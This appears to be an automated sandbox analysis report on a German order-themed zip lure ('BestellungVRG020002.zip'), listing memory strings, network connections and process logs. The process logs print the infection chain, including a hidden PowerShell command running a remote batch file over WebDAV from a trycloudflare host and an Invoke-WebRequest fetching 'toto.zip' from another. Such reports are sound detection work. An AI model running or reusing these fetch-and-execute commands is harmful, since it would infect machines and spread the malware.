Source: powershell.exe, 00000024.00000002.2355149096.0000013E36BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000024.00000002.2355149096.0000013E37D05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000024.00000002.2402487121.0000013E46D58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000024.00000002.2355149096.0000013E37EEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudfla
Source: powershell.exe, 00000024.00000002.2355149096.0000013E37EEE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com
Source: powershell.exe, 00000024.00000002.2351437707.0000013E34B70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zip
Source: cmd.exe, 0000001E.00000003.2317191329.0000025D62B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zip&
Source: powershell.exe, 00000024.00000002.2352815037.0000013E34C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zip;
Source: cmd.exe, 0000001E.00000003.2317191329.0000025D62B49000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000003.2318311250.0000025D62B4F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2350815549.0000025D62B4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zipO
Source: cmd.exe, 0000001E.00000003.2317191329.0000025D62B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zipWindows##
Source: powershell.exe, 00000024.00000002.2352815037.0000013E34C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zipX
Source: cmd.exe, 0000001E.00000003.2317191329.0000025D62B69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://retailer-indicators-resume-key.trycloudflare.com/toto.zipxit
Source: rundll32.exe, 00000016.00000002.1565812654.0000020B53770000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000018.00000002.1742704031.0000028904A5B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001F.00000002.1961788980.000002068657C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001F.00000002.1961788980.0000020686586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/
Source: rundll32.exe, 00000016.00000002.1565812654.0000020B537CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/#
Source: rundll32.exe, 0000001F.00000002.1961788980.0000020686586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/55theme-crack-emissions-perspectives.tr
Source: rundll32.exe, 00000011.00000002.1551843850.000001EC8FB50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000016.00000002.1565812654.0000020B53770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/C:
Source: rundll32.exe, 00000018.00000002.1742704031.00000289049E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk
Source: rundll32.exe, 00000018.00000002.1742704031.00000289049E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk:
Source: rundll32.exe, 00000018.00000002.1742704031.00000289049E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkC:
Source: rundll32.exe, 00000018.00000002.1742704031.0000028904A3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkL
Source: rundll32.exe, 00000018.00000002.1742704031.00000289049E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkq
Source: rundll32.exe, 00000018.00000002.1742704031.00000289049E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkrw
Source: rundll32.exe, 00000018.00000002.1742917977.0000028904C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnks=C:
Source: rundll32.exe, 00000011.00000002.1552005067.000001EC8FF00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/ESSOR_REVISION
Source: rundll32.exe, 00000016.00000002.1566077343.0000020B53A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/ESSOR_REVISIONJ
Source: rundll32.exe, 00000016.00000002.1565812654.0000020B53778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/OT
Source: rundll32.exe, 00000011.00000002.1551843850.000001EC8FB58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/ll
Source: rundll32.exe, 0000001F.00000002.1961788980.0000020686520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat
Source: rundll32.exe, 0000001F.00000002.1961788980.0000020686528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat4
Source: rundll32.exe, 0000001F.00000002.1961788980.0000020686520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/tue.batC:
Source: rundll32.exe, 0000001F.00000002.1962100847.0000020686810000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://theme-crack-emissions-perspectives.trycloudflare.com/tue.batq

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 58436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58417
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58416
Source: unknown	Network traffic detected: HTTP traffic on port 58423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58415
Source: unknown	Network traffic detected: HTTP traffic on port 58426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58422
Source: unknown	Network traffic detected: HTTP traffic on port 58439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58425
Source: unknown	Network traffic detected: HTTP traffic on port 58422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58427
Source: unknown	Network traffic detected: HTTP traffic on port 58425 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58433
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58430
Source: unknown	Network traffic detected: HTTP traffic on port 58415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58439
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58436
Source: unknown	Network traffic detected: HTTP traffic on port 58421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58435
Source: unknown	Network traffic detected: HTTP traffic on port 58428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58442
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58435 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 58437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58448
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58412
Source: unknown	Network traffic detected: HTTP traffic on port 58430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 58417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58434 -> 443

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.223.108.114:443 -> 192.168.2.17:58412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58414 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58415 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.17:58416 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:58418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.17:58419 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.17:58421 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.73:443 -> 192.168.2.17:58426 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.209.166:443 -> 192.168.2.17:58428 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.230.132:443 -> 192.168.2.17:58435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.231.132:443 -> 192.168.2.17:58442 version: TLS 1.2

System Summary

Downloads suspicious files via Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File dump: C:\Users\user\Downloads\BestellungVRG020002.zip (copy)

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF6411D8	36_2_00007FF9BF6411D8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF641EB1	36_2_00007FF9BF641EB1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF8B7009	36_2_00007FF9BF8B7009
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BF8B020D	36_2_00007FF9BF8B020D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB32DA9	36_2_00007FF9BFB32DA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2E0E9	36_2_00007FF9BFB2E0E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB130AE	36_2_00007FF9BFB130AE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB20059	36_2_00007FF9BFB20059
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2A887	36_2_00007FF9BFB2A887
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1B098	36_2_00007FF9BFB1B098
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2D850	36_2_00007FF9BFB2D850
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1CF9D	36_2_00007FF9BFB1CF9D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB207A5	36_2_00007FF9BFB207A5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1DFC4	36_2_00007FF9BFB1DFC4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB23F7D	36_2_00007FF9BFB23F7D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB25F3B	36_2_00007FF9BFB25F3B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2BEBD	36_2_00007FF9BFB2BEBD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1EEC4	36_2_00007FF9BFB1EEC4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2759D	36_2_00007FF9BFB2759D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB295CD	36_2_00007FF9BFB295CD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB155D0	36_2_00007FF9BFB155D0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2C56B	36_2_00007FF9BFB2C56B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1FD45	36_2_00007FF9BFB1FD45
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2B495	36_2_00007FF9BFB2B495
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2643D	36_2_00007FF9BFB2643D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2A3FB	36_2_00007FF9BFB2A3FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB26BFB	36_2_00007FF9BFB26BFB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1E3B7	36_2_00007FF9BFB1E3B7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB25BBB	36_2_00007FF9BFB25BBB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1EB95	36_2_00007FF9BFB1EB95
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB152E2	36_2_00007FF9BFB152E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB132EF	36_2_00007FF9BFB132EF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2929D	36_2_00007FF9BFB2929D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB20AB9	36_2_00007FF9BFB20AB9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2621D	36_2_00007FF9BFB2621D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2722B	36_2_00007FF9BFB2722B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB19A54	36_2_00007FF9BFB19A54
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2B19D	36_2_00007FF9BFB2B19D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB1E189	36_2_00007FF9BFB1E189
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFB2992D	36_2_00007FF9BFB2992D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFC7C63A	36_2_00007FF9BFC7C63A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFDCD261	36_2_00007FF9BFDCD261
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFDCFBF8	36_2_00007FF9BFDCFBF8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_00007FF9BFDC91C6	36_2_00007FF9BFDC91C6

Source: classification engine

Classification label: mal68.spyw.evad.win@50/61@6/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ka0uob4e.cto.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1912,i,9342714929990700637,7957857642515349934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c start /b powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie theme-crack-emissions-perspectives.trycloudflare.com@SSL https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2276 --field-trial-handle=1564,i,7782112262489688426,12990874366865501672,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=1912,i,9342714929990700637,7957857642515349934,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "cmd /c '\\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat' analyze"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c \\theme-crack-emissions-perspectives.trycloudflare.com@SSL\DavWWWRoot\tue.bat analyze	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LSBIHQFDVT.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://retailer-indicators-resume-key.trycloudflare.com/toto.zip' -OutFile 'C:\Users\user\Downloads\toto.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
